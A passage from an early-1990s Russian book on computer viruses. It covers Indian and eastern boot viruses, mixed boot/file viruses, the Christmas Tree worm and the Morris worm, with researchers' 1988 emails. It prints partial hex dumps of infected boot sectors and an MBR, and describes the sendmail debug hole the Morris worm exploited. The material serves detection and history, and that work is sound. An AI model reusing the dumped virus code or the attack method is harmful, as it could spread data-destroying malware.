помимо приведенных в заголовке являются Ogre - Людоед, Computer
Ogre, Disk Ogre.
Методы и программные средства защиты. Вирус можно
идентифицировать путем визуального просмотра содержимого
бутсектора, например, Norton Utilities. В качестве детектора может
использоваться полидетектор SCAN. Вместо фага можно использовать
команду SYS.
Дамп бутсектора, зараженного вирусом Bx3-EB
000: FAEB4F4D53444F53 332E330002020100 ..OMSDOS3.3.....
010: 027000D002FD0200 0900020000000000 .p..............
020: 0000000000000000 0000000000000012 ................
030: 000000000100FA33 C08ED0BC0000CB3C .......3.......<
040: B200AE0000007400 0000005500000000 ......t....U....
050: 55552EA11304B106 D3E08ED8813E3E00 UU...........>>.
060: CB3C75081E8D063B 0250FBCBB8007CB1 ....u....-......
060: 06D3E00E1F8EC0BE 007C33FFB90014FC .........|3.....
070: F3A406B8000450CB 32E4CD13720D33D2 ......P.2...r.3.
080: B92128BB007EB809 02CD13B83C7C50C3 .!(..~......<|P.
090: BE5F7DB9480032FF 8A04B40ECD1046E2 ._}.H.2.......F.
... .. .. .. .. .. .. .. .. . . . . . . . .
150: 0A36307C8BCA86E9 8B161E7CCD13C30D .60|.......|....
160: 0A4E6F6E2D537973 74656D206469736B .Non-System disk
170: 206F72206469736B 206572726F720D0A or disk error..
180: 5265706C61636520 616E642073747269 Replace and stri
190: 6B6520616E79206B 6579207768656E20 ke any key when
1A0: 72656164790D0A00 0D0A4469736B2042 ready.....Disk B
1B0: 6F6F74206661696C 7572650D0A004942 oot failure...IB
1C0: 4D42494F2020434F 4D49424D444F5320 MBIO COMIBMDOS
1D0: 20434F4D00000000 0000000000000000 COM............
1E0: 0000000000000000 0000000000000000 ................
1F0: 000000497A616B00 00000000000055AA ...Izak.......U.
7.6. Индийская группа
7.6.1. Вирус WM-1F (Joshi - Джоши)
Название данного вируса связано с тем, что при загрузке MS DOS с
5 января любого года на экран выдается соообщение Type Happy
Birthday Joshi ! и компьютер ожидает ответа. Если ввести ответ
Happy Birthday Joshi то загрузка будет продолжена. По данным
Д.Н.Лозинского при программировании выдачи сообщения автор вируса
ориентировался только на цветной монитор.
Вирус WM-1F является наиболее скрытным и тщательно маскирующимся
из попавших в CCCР бутовых вирусов. Это единственный из попавших в
СССР вирусов, который переживает теплую перезагрузку. Заражает
как 360К, так и 1.2М дискеты, а также винчестер.
Заражает дискеты емкостью как 360К, так и 1.2М. При заражении
дискет, подобно вирусу D-29 (Den-Zuk), записывает хвост на
дополнительную дорожку (41 для 360К дискет, 81 для 1.2М дискет).
При заражении дискеты проверок, занят ли указанные сектора
информацией или нет, вирус не выполняет. Поэтому на дискете,
содержащей на 41 дорожке какую-то информацию (например замок
защиты от копирования), она будет уничтожена. Как обычно, для
заражения достаточно единственно обращения к дискете при
резидентном вирусе.
Похоже автор был знаком с особенностями формата 1.2M очень
слабо. Распознавание дискет 1.2M выполняется некорректно - с
помощью попытки чтения 17 сектора. Поэтому возможно распознавание
дискет 1.2М как 360 и вклеивание тела вируса в середину дискеты
с соответствующими последствиями.
Более того, при попытке разметить дискету 1.2M на зараженной
машине начинаются фокусы: из меню PC TOOLS этот формат может
пропасть, размеченные дискеты сбоят и т.д. Эта характерная
особенность данного вируса может служить достаточно надежным
признаком зараженности машины данным вирусом.
При заражении винчестера голова вируса записывается в не в
бутсектор раздела С, а в абсолютный начальный сектор диска,
который на винчестере содержит Partition Table (таблицу разделов
диска), т.е. аналогично вирусу M-05 (Stoned). При этом хвост
вируса располагается в восьми секторах начиная с абсолютного
адреса 0/0/2, т.е. сектора, следующего за MBR (как уже отмечалось,
обычно эти сектора представляют собой неиспользуемое пространство
между MBR и началом логического диска С). Из этих восьми секторов
6 заняты собственно хвостом вируса, следующий седьмой сектор -
пустой, а восьмой содержит оригинальный MBR. Как и при заражении
дискеты, при заражении винчестера вирус не проверяет содержимое
этих секторов при заражении винчестера. Такое поведение вируча
можно рассматривать как лишний аргумент в пользу использования
программы MIRROR в AUTOEXEC.BAT: если эти сектора содержат какую-
то важную информацию (как например, при использовании ADM), она
будет уничтожена, при загрузке машина зависнет и можно
восстановить эти сектора с помощью PCBACKUP. Если начальные
сектора периодически копируются на дискету с помощью Norton
Utilities, то их можно восстановить из соответствующего файла.
Впрочем помимо резервирования копии с помощью MIRROR некоторые
фаги умеют исправлять эту ошибку.
Зараженный MBR при резидентном вирусе не виден. Механизм
обеспечения данного эффекта уже описывался применильно к вирусу
BRAIN: вирус анализирует запросы к винчестру и перенаправляет
операцию чтения нулевого сектора на сектор, где хранится
спрятанная Partition Table.
В памяти вирус размещается в старших адресах, откусывая у MS
DOS 6 Кб. Вирус перехватывает прерывания 8, 9, 13 и 21 - почти как
какой-нибудь файловый вирус.
Как уже указывалось, отличительной особенностью данного вируса
является то, что он перехватывает прерывание от клавиатуры, что
позволяет этому вирусу выживать при теплой перезагрузке (с
помощью Ctrl-Alt-Del).
Исторические замечания. Вирус WM-1F впервые был обнаружен в
Индии в июне 1990 года. В нашей стране появился уже в июле. Автору
был передан Д.Н.Лозинским. По данным П.Хоффман, начиная с конца
1989 года в Индии активно разрабатываются бутовые вирусы и не
исключено, что подобно тому как Болгария является основным
поставщиком файловых вирусов для СССР, на ту же роль для бутовых
вирусов скоро сможет претендовать Индия.
Неформальные названия. Полидетектор SCAN называет данный вирус
Joshi. Среди других названий отметим Happy Birthday - С днем
рожденья.
Методы и программные средства защиты. Рекомендуемые детекторы и
полифаги приведены в прил.2. В частности, в качестве детектора для
данного типа вируса можно использовать полидетектор SCAN, а в
качестве фага - полифаг Е.Сусликова K32.COM. Следует отметить, что
начиная с версии 36 в полифаге AIDSTEST предусмотрена возможность
исправлять Partition Table даже в довольно сложных случаях.
Дамп MBR винчестера, зараженного вирусом WB-1F
000: EB1F90C007E99900 021B0300C8E40080 ................
010: 7F007C00001E5080 FC02721780FC0002 ..|...P...r.....
020: 80FA8CC88ED88ED0 BC00F0FBA11304B1 ................
030: 06D3E08EC0B80002 2D2100BF0000BE00 ........-!......
040: 7C03F003F8B97901 2BC8FCF3A675108C |.....y.+....u..
050: C00520008EC0BB00 000653B80100CBA1 .. .......S.....
060: 13042D0600A31304 B106D3E08EC0BE00 ..-.............
070: 7CBF0000B90002FC F3A48CC00520008E |............ ..
080: C0BB000006530E1F B402B0018A2E1E7C .....S.........|
090: 8A0E1F7CB6008A16 207C50B800B88ED8 ...|.... |P.....
0A0: 585053515206CD13 075A595B58731050 XPSQR....ZY[Xs.P
0B0: 53515206B400CD13 075A595B58EBE2FE SQR......ZY[X...
0C0: C181C300021E0E1F 508AC12A061F7C2C ........P..*..|,
0D0: 08581F72CCB80000 CB00000000000000 .X.r............
0E0: 0000000000000000 0000000000000000 ................
*** расположенные далее байты вирусом не меняются ***
8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
Некоторые из упоминаемых в зарубежной литературе бутовых вирусов
пока в СССР выделены не были. В прил.4 приводятся собранные
автором сведения о таких вирусах. Интересно отметить, что если
файловые вирусы имеют, в основном западное происхожение, то
бутовые - восточное (Индия, Индонезия, Новая Зеландия, Пакистан,
Сингапур, Тайвань, Южная Корея). Учитывая, что из Индии,
Сингапура, Тайваня, Южной Кореи мы получаем основную массу
персональных компьютеров, шансы на быстрое появление этих вирусов
в нашей стране весьма высоки.
8.1. Смешанные бутово-файловые вирусы
Данный тип вирусов является попыткой увеличить выживаемость
бутовых вирусов при наличии средств входного контроля.
Действительно, поскольку бутовый вирус запускается до MS DOS, то
он может беспрепятственно стать резидентным, а затем уже пытаться
обходить средства слежения за операциями ввода/вывода. В то же
время размножение по типу файлового вируса создает значительно
лучшие шансы проникновения на новые компьютеры. Первой, хотя и
неполной, попыткой реализации вируса рассматриваемого типа можно
считать вирус Ghostballs
8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака)
Данный вирус является комбинацией Венского вируса и Пинг-Понга.
Файловая часть вируса основана на С-648 и при запуске зараженной
программы заражает бутсектор дискеты или винчестера бутовой
частью, основанной на вирусе Bx1-1C, в которой сохранен визуальный
эффект двужущегося светлого пятна, однако отсутствует способность
к размножению. При этом, если бутсектор восстановлен каким-нибудь
фагом, то он повторно заражается при первом же запуске зараженной
программы.
Исторические сведения. Вирус был обнаружен в октябре 1989 г. в
Исландии известным исландским вирусологом Фридрихом Скуласоном
(Fridrik Skulason).
Неформальные названия: Ghost Boot, Ghost COM
Методы обнаружения и средства защиты. Средства обнаружения и
защиты. Детектируется Scan (версии 66+), Для удаления бутовой
части можно использовать команду SYS.
8.1.2. Вирус RCE-2560 (Virus-101)
Данный вирус является первым известным резидентным вирусом с
самомодифицирующимся инсталлятором и первым, заражающим наряду с
файлами, бутсектор. Вирус заражает файлы только на дискетах. Если
на дискете нет файла, который можно заразить, то он заражает
бутсектор.
Исторические сведения. Вирус написан Патриком Толме (Patrick
Toulme) в январе 1990 г. в качестве учебного пособия и автор
некоторое время распространял за плату исходный текст вируса.
Неформальные названия: Virus-101
Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления бутовой части можно использовать команду SYS.
8.1.3. Вирус RC-1253 (AntiCad, V-1)
Данный вирус заражает как COM-файлы, так и бутсектор дискет и
MBR винчестера. При выполнении зараженной программы вирус
инсталллируется в младшие адреса свободной памяти и виден как
дополнительная резидентная программа, занимающая 2128 байтов
(общий размер системной памяти не изменяется) и перехватывающая
прерывания 08, 13, 21, 60. Затем вирус заражает MBR винчестера или
бутсектор дискеты в зависимости от конфигурации компьютера.
Являясь резидентным вирус заражает каждый выполняемый COM-файл,
дописываясь в конец файла и вставляяя в начало файла команду
перехода. Размер зараженных файлов увеличивается на 1253 байта.
При этом вирус не делает попытки скрыть это увеличение. Признаком
зараженности файла является строка V-1 (562D31), расположенная
с четвертого байта, сразу после команды перехода.
Если при резидентном вирусе выполняется доступ к дискете, то
бутсектор заражается вирусом. в частности, отформатированные на
зараженном компьютере дискеты уже заражены. Куда вирус прячет
хвост в настоящее время не известно.
При попытке загрузки с зараженной дискеты вирус инсталллируется
по типу бутвируса, уменьшая системную память на 77840 байтов.
Характерным проявлением данного вируса является неожиданные
попытки доступа к неативным флоппи дискам при форматировании.
Например, если форматируется дискета в дисководе А, то зажигается
лампоска в дисководе B. Фаза проявления заключается в уничтожении
соержимого дискеты или винчестера и наступает, по данным П.Хоффман
24 Декабря. Уничтоженная дискета имеет повторяющуюся структуру из
девяти сеторов.
Исторические сведения. Вирус обнаружен в августе 1990 г. в
Австрии и, по-видимому, там же и написан.
Неформальные названия: Помимо приведенных выше отсутстуют.
Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления бутовой части можно использовать команду SYS.
8.1.4. Вирус RCE-1040 (Anthrax)
Неформальное название данного вируса связано с тем, что в теле
вируса имеются имеются текстовые строки (c)Damage, Inc. и
ANTHRAX. Формально данный вирус относится с смешанным файлово-
бутовым резидентным вирусам. Заражает как COM-, так и EXE-файлы,
включая COMMAND.COM. Помимо этого заражает MBR винчестера и
бутсектор дискет.
При заражении файлов их длина увеличивается на 1040 - 1232
байтов. При выполнении зараженной программы вирус инсталлируется в
оперативной памяти, однако в отличие от большинства известных
вирусов не начинает заражать файлы немедленно. Только после того,
как некоторое наступает некоторое событие, по видимому связанное с
количеством введенных с кавиатуры символов, он начинает заражать
по одному файлу при каждом выполнении какой-нибудь программы. При
этом заражается не сама выполняемая программа, а другой файл
выбираемый вирусом для заражения сначала на диске С, начиная с
корневого каталога и далее по всему делеву каталогов, затем на
диске D и т.д.
Детали заражения дискет и бутсектора неясны.
Проявления вируса в настоящий момент неизвестны.
Исторические сведения. Вирус был выделен в Нидерландах в июле
1990 г. Он был загружен в несколько BBS с троянской копией
антивирусной программы USCAN.ZIP. Это третий в 1990 г. вирус,
распространявшийся с троянской копией антивирусной программы.
Первыми двумя были RCE-2100 (также распространялся с USCAN) и RCE-
1600 (распространялся с Aidstest). По видимому, вирус имеет
восточноевропейское (болгарское?) происхождение.
Неформальные названия: Помимо приведенных выше отсутстуют.
Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления бутовой части можно использовать команду SYS.
8.2. Бутовые вирусы восточного происхождения
8.2.1. Вирус Microbes
Конкретные сведения о вирусе практически отсутствуют. Заражает
как дискеты так и винчестер. При заражении PC/XT возможно
зависание системы.
Исторические сведения. Вирус был обнаружен в Бомбее (Индия в
июне 1990г.). Возможно, что этот вирус является историческим
предшественником Joshy и написан тем же автором.
Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления можно использовать команду SYS.
8.2.2. Вирус AirCop
Заражает только 360К пятидюймовые дискеты. Уменьшает обьем
системной памяти на 1К. Перехватывает прерывание 13. Имеет
вырожденный хвост, состоящий только из оригинального бутсектора.
На зараженной дискете хвост расположен по адресу 1/39/9, т.е. в
последнем секторе дискеты. Зараженный бутсектор не содержит
стандартных текстовых сообщений, однако в самом конце имееется
строка Non-system... На большинстве клонов вирус выдает через
случайный интервал времени сообщение
Red State, Germ Offensive.
AIRCOP. однако на некоторых вместо выдачи сообщения выдается
сообщение о переполнении стека и система зависает.
Исторические сведения. Вирус обнаружен в июле 1990 г. в
Вашингтоне (США) и имеет тайванское происхождение.
Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления можно использовать команду SYS.
8.2.3. Вирус Korea
Заражает только 360К пятидюймовые дискеты. Имеет вырожденный
хвост, состоящий только из оригинального бутсектора и записываемый
в 11 сектор дискеты (последний сектор FAT). При этом возможно
поврежедние части FAT. Других проявлений не имеет.
Исторические сведения. Вирус обнаружен в марте 1990 г. в Сеуле
(Южная Корея) и, по-видимому, разработан там же.
Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления можно использовать команду SYS.
8.2.4. Вирус Ohio
Заражает только 360К пятидюймовые дискеты. По видимому данный
вирус можно рассматривать как раннюю версию вируса Den Zuk.
Дискета, зараженная вирусом Ohio иммунизирована к заражению
вирусом Brain. В теле вируса имеются строки:
V I R U S
b y
The Hackers
Y C 1 E R P
D E N Z U K 0
Bandung 40254
Indonesia
(C) 1988, The Hackers Team....
Исторические сведения. Вирус обнаружен в июне 1988 г. в
Индонезии и, по-видимому, разработан там же.
Методы обнаружения и средства защиты. Детектируется Scan
(версии 66+). Для удаления можно использовать команду SYS.
8.3. Ископаемые бутовые вирусы
8.3.1. Вирус Alameda (Аламеда)
Вирус Alameda, подобно вирусу M-05 (Stoned), имеет вырожденный
хвост, который размещается на последнем треке дискеты по адресу
39/8/0. При этом этот кластер не отмечается как сбойный, оставаясь
доступным для распределения. Поэтому в случае перезаписи
содержимого этого кластера перезагрузка системы становится
невозможной. После загрузки вирус уменьшает доступную память на 1
К.
Отличительной особенностью данного вируса является то, что он
перехватывает прерывание от клавиатуры, что позволяет этому вирусу
выживать теплую перезагрузку (с помощью Ctrl-Alt-Del). Более
того данный вирус размножается не путем заражения всех дискет к
которым идет обращение, а только дискет, которые расположены в
дисководе в момент нажатия CTL-ALT-DEL. Заражаются только
пятидюймовые дискеты 360К.
Оригинальная версия вируса не содержала кода, ориентированного
на нанесение какого-либо ущерба, однако как любой вирус вызывала
ряд побочных эффектов. В частности, на некоторые машинах
зараженных этим вирусом нельзя запустить отдельные программы или
драйверы. В настоящее время известны штаммы, разрушающие бутсектор
дискет (штамм Alameda-C). Кроме того оригинальная версия
работоспособна только на PC XT, поскольку содержит команды,
отсутствующие в микропроцессоре 80286 и 80386. Более поздние
версии размножаются и на PC AT.
Исторические замечания. Один из первых бутовых вирусов. Впервые
обнаружен в США в 1988 году в Merritt College, Oakland,
California. По мнению сотрудников университета вирус написан
студентом из колледжа Peralta community college, входящим в данный
округ. В СССР не отмечался. Приводимые данные базируются на списке
П.Хоффман и статьях Макафи и Гринберга [200-201,131].
Неформальные названия. Merritt, Peking, Seoul, Yale.
Методы обнаружения и средства защиты. Данный вирус
диагностируется полидетектором SCAN.
8.3.2. Вирус Chaos (Хаос)
Неформальное название данного вируса связано с тем, что в теле
вируса имеются текстовые строки Welcome to the New Dungeon,
Chaos и Letz be cool guys. Формально данный вирус является
бутовым вирусом, заражающим как дискеты, так и винчестер. при
заражении перезаписывает оригинальный бутсектор не копируя его в
новое место.
Стадия проявления заключается в пометке всех свободных кластеров
как сбойные. Условия наступления стадии проявления неизвестны.
Исторические замечания. Обнаружен в декабре 1989 г. в Англии.
Джеймсом Беррри (James Berry). В СССР не отмечался. Приводимые
данные базируются на списке П.Хоффман.
Неформальные названия. Merritt, Peking, Seoul, Yale
Методы обнаружения и средства защиты. Данный вирус
диагностируется полидетектором SCAN.
8.4. Мифические бутовые вирусы
8.4.1. Вирус Bxxx (Boot Killer - бут-киллер)
Данный вирус при каждой активизации переводит часть имеющихся
свободных кластеров в потерянные и тем самым уменьшает размер
доступного дискового пространства. Это пространство, естественно,
становится недоступным, если не использовать утилиту CHKDSK с
последующим удалением всех файлов с расширением CHK.
Вторым эффектом является форматизация первого трека диска.
Исторические замечания. Данный вирус был описан в статье [ ],
опубликованной в 1988 г. опубликованной в 1988 г.
9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ
Сетевые вирусы более точно называть не вирусами, а
репликаторами, поскольку они не заражают выполняемые программы, а
просто распространяются по сети от одной ЭВМ к другой. Буквальный
перевод соответствующего англоязычного термина Worm - червяк
представляется менее удачным, чем предлагаемый термин репликатор.
В свою очередь репликатор, подобно кассетной боеголовке, может
переносить с собой троянских коней и обычные вирусы. К счастью,
два наиболее известных случая создания таких вирусов не связаны с
потерей или разрушением данных.
9.1. Вирус Christmas Tree (Рождественская елка)
Рассматриваемый вирус появился в конце декабря 1987 г. в
западноевропейской сети EARN (European Academic Research Network)
и связанной с ней американской сети BitNet. Его название связано с
тем, что он рисовал на экране дисплея новогоднюю елку и затем
рассылал себя по всем адресам, найденным на зараженной машине.
Программа распространялась по сети с помощью электронной почты.
Вирус был написан на языке управления заданиями REXX операционной
системы VM/CMS. Фактически это единственный известный вирус,
написанный на языке управления заданиями, и этот факт
свидетельствует о мощности и гибкости REXX - несомненно лучшего из
множества языков управления заданиями для машин системы 360/370.
Автором программы был студент университета Clausthal-Zellerfeld
(ФРГ), который утверждал, что просто хотел поздравить своих
приятелей и не представлял, что университетская сеть подсоединена
к EARN. Поскольку программа распространялась в виде исходного
текста, автор предпринял определенные меры по маскировке,
продемонстрировав неплохое понимание человеческой психологии. В
частности, в начале программы стояли соблазнительные
комментарии:
/**********************/ /****************************/
/* LET THIS EXEC */ /* ЗАПУСТИТЕ ЭТОТ */
/* */ /* */
/* RUN */ /* EXEC-ФАЙЛ */
/* */ /* */
/* AND */ /* И */
/* */ /* */
/* ENJOY */ /* РАЗВЛЕКИТЕСЬ */
/* */ /* */
/* YOURSELF */ /* */
/**********************/ /****************************/
За ними следовал фрагмент, состоящий из стилизованного рисунка
новогодней елки и поздравления Счастливого Рождества и наилучшие
пожелания на следующий год, который, естественно, также не
вызывал особых подозрений:
'VMFCLEAR'
SAY ' * '
SAY ' * '
SAY ' *** '
SAY ' ***** '
SAY ' ******* '
SAY ' ********* '
SAY ' ************* A'
SAY ' ******* '
SAY ' *********** VERY'
SAY ' *************** '
SAY ' ******************* HAPPY'
SAY ' *********** '
SAY ' *************** CHRISTMAS'
SAY ' ******************* '
SAY ' *********************** AND'
SAY ' *************** '
SAY ' ******************* BEST WISHES'
SAY ' *********************** '
SAY ' *************************** FOR THE NEXT'
SAY ' ****** '
SAY ' ****** YEAR'
SAY ' ****** '
Для тех, кто еще сомневался, запускать ли программу или
посмотреть текст до конца, далее следовал еще один комментарий,
содержавший ненавязчивый совет о том, что просмотр этого файла
совсем не интересен, просто наберите команду CHRISTMAS и
посмотрите, что получится:
/* browsing this file is no fun at all
just type CHRISTMAS from cms */
И только после этого шел непосредственно текст репликатора,
лишенный, естественно, каких-то коммментариев.
Из ЕARN вирус, в процессе рассылки по обнаруженным им адресам,
попал в американскую сеть Bitnet. В свою очередь, сеть Bitnet
имеет связь с внутренней сетью компании IBM - Vnet. В этой сети
репликатор размножался особенно успешно, поскольку сеть состоит в
основном из машин и программного обеспечения фирмы IBM. Большие
списки рассылки у многих пользователей этой сети привели к ее
перегрузке и она была выключена. В течение двух дней, пока сеть
была выключена, вся электронная почта фирмы отлеживалась. Фирмой
IBM были выполнены модификации сети, затрудняющие повторение
подобных инцидентов.
9.2. Вирус Морриса
Название данного вируса связано с тем, что его автором является
Роберт Моррис младший (Robert Morris), аспирант факультета
информатики Корнельского Университета (США). 2.10.88 он запустил
вирус в американскую национальную сеть Internet, ивинфицировав
большое количество компьютеров, подключенных к сети. Internet
объединяет машины университетских центров, частных фирм и
правительственных агенств, включая Национальное управление по
аэронавтике и исследованию космического пространства, а также
некоторые военные НИИ и лаборатории. Поскольку при
программировании автор допустил ошибку, вызвавшую превышение
скорости размножения и распространения по сравнению с задуманной,
вирус был достаточно быстро (в течении нескольких частов)
обнаружен. Тем не менее он успел заражить в общей сложности
порядка 6000 компьютеров из порядка 60000, подключенных к сети.
Вирус Морриса заражал только компьютеры типа SUN 3 и VAX,
которые использовали варианты ОС UNIX версии 4 BSD. В процессе
работы вирус оставлял необычные файлы в каталоге /usr/tmp на
некоторых машинах и странные сообщения в log-файлах некоторых
утилит, в частности, управляющей почтой утилиты SendMail. Для
своего распространения вирус использовал некоторые дефекты
стандартного программного обеспечения, установленного на многих
эксплуатирующих UNIX системах. Он также использовал механизм,
предназначенный для облегчения использования ресурсов удаленным
компьютерам для проведения вычислений, позволяющий запускать
задачу на удаленной машине. Вирус состоял из двух частей: главной
программы и программы, обеспечивающей его распространение. Главная
программа после запуска на очередной машине собирала информацию
относительно других машин в сети, с которыми данная ЭВМ имеет
связь. Она выполняла эту работу с помощью анализа конфигурационных
файлов и путем прогона системной утилиты, которая дает информацию
о текущем состоянии соединений в сети. Затем она использует
определенные недостатки программного обеспечения для пересылки
себя на другие машины.
Пересылка выполнялась специальной частью вируса, называемой
модулем распространения. Этот модуль представляет собой исходный
текст программы, состоящей из 99 строк на языке С, которые должны
быть откомпилированы и выполнены на удаленной машине. Для этого
исходный текст должен быть сначала передан очередной жертве
(используя способ, кратко описываемый ниже), а затем
откомпилирован и выполнен с тремя аргументами: сетевой адрес
инфицирующей машины (т.е. ЭВМ, с которой происходит заражение),
количество сетевых портов, которые нужно соединить с этой машиной
для передачи основных файлов вируса и магическое число, которое
использовалось как однократная проверка паспорта. Если
инфицирующая машина не получала в ответ от посланного ею модуля
распространения этого магического числа, она немедленно
отсоединялась от этой машины. Это, по-видимому, было сделано в
расчете на предотвращение попыток получения файлов вируса путем
имитации действий модуля распространения. В самом модуле
распространения были предприняты определенные усилия по
маскировке. Для этой цели он обнулял свою командную строку и
немедленно создавал собственную копию. Если в процессе пересылки
файлов с инфицирующей машины происходил сбой, то модуль
распространения сначала удалял все пересланные файлы, а лишь затем
возвращал управление.
Как уже указывалось, после запуска на очередной жертве модуль
распространения обеспечивал пересылку всех файлов вируса для машин
этого типа (SUN или VAX). Каждый файл представлял собой версию
вируса для определенной архитектуры ЭВМ. Кроме того, модуль
распространения обеспечивал получение еще одной своей копии для
рассылки по очередным сетевым адресам. Хотя в модуле
распространения предусматривалась пересылка до 20 файлов, только
три на самом деле пересылались данной версией вируса. Это породило
гипотезы о том, что Моррис планировал разработку более совершенной
версии и что эта версия могла пересылать другие командные файлы,
паспорта пользователей или, возможно, вирусы для конкретного типа
ЭВМ. После пересылки загрузочных модулей модуль распространения
обеспечивал их сборку с местной версией системной библиотеки.
Затем эти программы вызывались одна за другой и их действие
заключалось в попытке раскрыть пароли пользователей, работающих на
данной машине. Если это удавалось, то вирус рассылал модуль
распространения по всем адресам, найденным в списке
соответствующего взломанного абонента. Если ни один из методов
дешифровки паролей не срабатывал, то машина, породившая модуль
распространения, обеспечивала удаление с диска всех улик (т.е,
файлов, созданных в процессе работы вируса).
Общий объем вируса достигал 68К. На момент написания данного
материала это, по-видимому, самый большой из известных
компьютерных вирусов.
Исторические замечания. Вирус был разработан Роберт Моррис
младшим, аспирантом Корнельского университета, впоследствии
осужденным за это американским судом (некоторые сведения об этом
процессе приведены в гл.10). Роберт Моррис является сыном
ведущего ученого (chief scientist) американского национального
центра безопасности компьютеров (U.S. National Computer Security
Center) у отделения Нациoнального управления безопасности
(National Security Agency). Последнее специализируется на
глобальной телекоммуникационной разведке. Моррис-старший,
длительное время проработавший в Bell Laboraries, является одним
из разрабочиков игры Darvin у одному из первых экспериментов в
области саморазмножающихся программ. В дальнейшем, он участвовал в
разработке UNIX, в частности, системы парольной защиты.
Вирус был запущен в сеть приблизительно между 12 и 13 часами
2.10.88. Из-за ошибки, вызвавшей превышение скорости размножения и
распространения по сравнению с задуманной, в течение нескольких
часов (к концу дня) вирус заразил порядка 6000 компьютеров (данная
оценка основана на экстраполяции и не претендует на особенную
точность). Всего к сети Internet подключены более 60 000
компьютеров. Пораженные компьютеры были расположены на
значительной территории (Массачусетский технологический институт,
Калифорнийский университет в Беркли, университет в Пэдью,
Стенфордский университет и др.).
Наиболее заметным эффектом при распространении вируса, помимо
некоторых необычных сообщений операционной системы, была все же
непрерывно возраставшая загрузка пораженных вирусом машин. По
истечении некоторого времени отдельные компьютеры оказались
настолько загруженными распространением копий вируса, что не были
способны выполнять никакой полезной работы; некоторые компьютеры
исчерпали память для своппинга или таблицу текущих процессов и их
приходилось перегружать. Это существенно затруднило обмен
сообщениями и координацию работы по уничтожению вируса, поскольку,
судя по репортажам, большинство американских программистов
привыкло пользоваться электронной почтой. Задержки привели к
потере очень ценных сообщений, посланных пользователем, который,
по-видимому, знал детали работы вируса или они были сообщены ему
Моррисом, испугавшимся последствий своего эксперимента. Тем не
менее, сеть оставалась работоспособной и между программистами шел
интенсивный обмен сообщениями.
Утром 3 ноября персонал Калифорнийского университета в Беркли и
Массачусетского технологического института (МТИ) получили копии
вируса и начали его анализ. Общим опасением было, что к моменту,
когда будет изготовлено противоядие, системные файлы будут
изменены или разрушена некоторая информация. К пяти часам вечера 3
ноября группа исследователей в Университете в Беркли разработала
серию мер для прекращения его дальнейшего распространения.
Соответствующее сообщение было передано по сети, однако его
распространение было задержано нагрузкой, созданной
распространением вируса и отключением некоторых частей сети на
карантин. К 9 часам вечера другой простой и эффективный метод
борьбы с распространением вируса был найден в Университете Пэдью и
быстро распространен всем заинтересованным пользователям. К концу
суток с вирусом было покончено.
Дизассемблирование и реконструкция текста вируса представляла
собой достаточно сложную задачу, поскольку Моррисом были
предприняты специальные по ее затруднению, в частности, шифровка
текстовых строк. Основная часть работы была выполнена Марком
Эйчиным (Маrk Eichin), специалистом по дизассемблированию ROM,
который одновременно являлся и координатором работы других
программистов. Основная работа по реконструкции вируса была
завершена в субботу. Тогда же исследователями, после жарких
дискуссий, было принято решение не распространять восстановленный
исходный текст вируса и, в то же время, свободно распространять
информацию об алгоритмах, используемых данным вирусом. Это,
конечно, несет опасность, что они могут быть использованы для
написания новых вирусов, однако уровень знаний, требуемых для этой
цели, неизмеримо выше, чем умение перекомпилировать программу с
двумя или тремя измененными строчками.
На следующее утро, в пятницу 4 ноября в МТИ состоялась пресс-
конференция, на которой выступили ведущие участики охоты на
вирус. Во вторник, 8 ноября, в Балтиморе состоялась конференция
по вирусу Морриса, на которой подробно обсуждалась хронология
событий, предпринятые действия и детальный анализ функционирования
вируса. Кроме того, были обсуждены вопросы, касающиеся уроков
инцидента и подготовки к отражению новых атак.
Ниже приводятся представляющие исторический интерес сообщения,
которыми обменивались исследователи в ходе борьбы с вирусом. Эти
сообщения наглядно демонстрируют огромную ценность национальной
сети как инструмента оперативного обмена информацией между
исследователями.
From: Stoll@DOCKMASTER.ARPA
Subject: Virus on the Arpanet - Milnet
Date: Thu, 3 Nov 88 06:46 EST
Re Arpanet Sendmail Virus attack November 3, 1988
Hi Gang!
It's now 3:45 AM on Wednesday 3 November 1988. I'm tired, so
don't believe everything that follows...
Apparently, there is a massive attack on Unix systems going on
right now.
I have spoken to systems managers at several computers, on both
the east & west coast, and I suspect this may be a system wide
problem.
Symptom: hundreds or thousands of jobs start running on a Unix
system bringing response to zero.
Systems attacked: Unix systems, 4.3BSD unix & variants (eg: SUNs)
any sendmail compiled with debug has this problem. See below.
This virus is spreading very quickly over the Milnet. Within the
past 4 hours, I have evidence that it has hit >10 sites across the
country, both Arpanet and Milnet sites. I suspect that well over
50 sites have been hit. Most of these are major sites and
gateways.
Method:
Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility. This utility can send a message into another
program.
Step 1: from a distant Milnet host, a message is sent to Sendmail
to fire up SED, (SED is an editor). This is possible in certain
versions of sendmail (see below).
2: A 99 line C program is sent to SED through Sendmail.
3: The distant computer sends a command to compile this C
program.
4: Several object files are copied into the Unix computer. There
are 3 files: one targeted to Sun one targeted to SUN-3 one
targeted to vax (ultrix probably, not vms)
5: The C program accepts as address other Milnet sites
6: Apparently, program scans for other Milnet/arpanet addresses
and repeats this process.
The bug in Sendmail:
When the Unix 4.3 BSD version of Sendmail is compiled with the
Debug option, there's a hole in it.
Most Unix systems (BSD 4.3 and Suns) apparently do not have this
bug. It exists only where the system manager recompiled Sendmail
and enabled debugging.
This is bad news.
Cliff Stoll dockmaster.arpa
------------------------------------------------------------------
-------
From: Gene Spafford
Subject: More on the virus
Date: Thu, 03 Nov 88 09:52:18 EST
All of our Vaxen and some of our Suns here were infected with the
virus. The virus forks repeated copies of itself as it tries to
spread itself, and the load averages on the infected machines
skyrocketed. In fact, it got to the point that some of the
machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!
The virus seems to consist of two parts. I managed to grab the
source code for one part, but not the main component (the virus
cleans up after itself so as not to leave evidence). The way that
it works is as follows:
1) Virus running on an infected machine opens a TCP connection to
a victim machine's sendmail, invokes debug mode, and gets a shell.
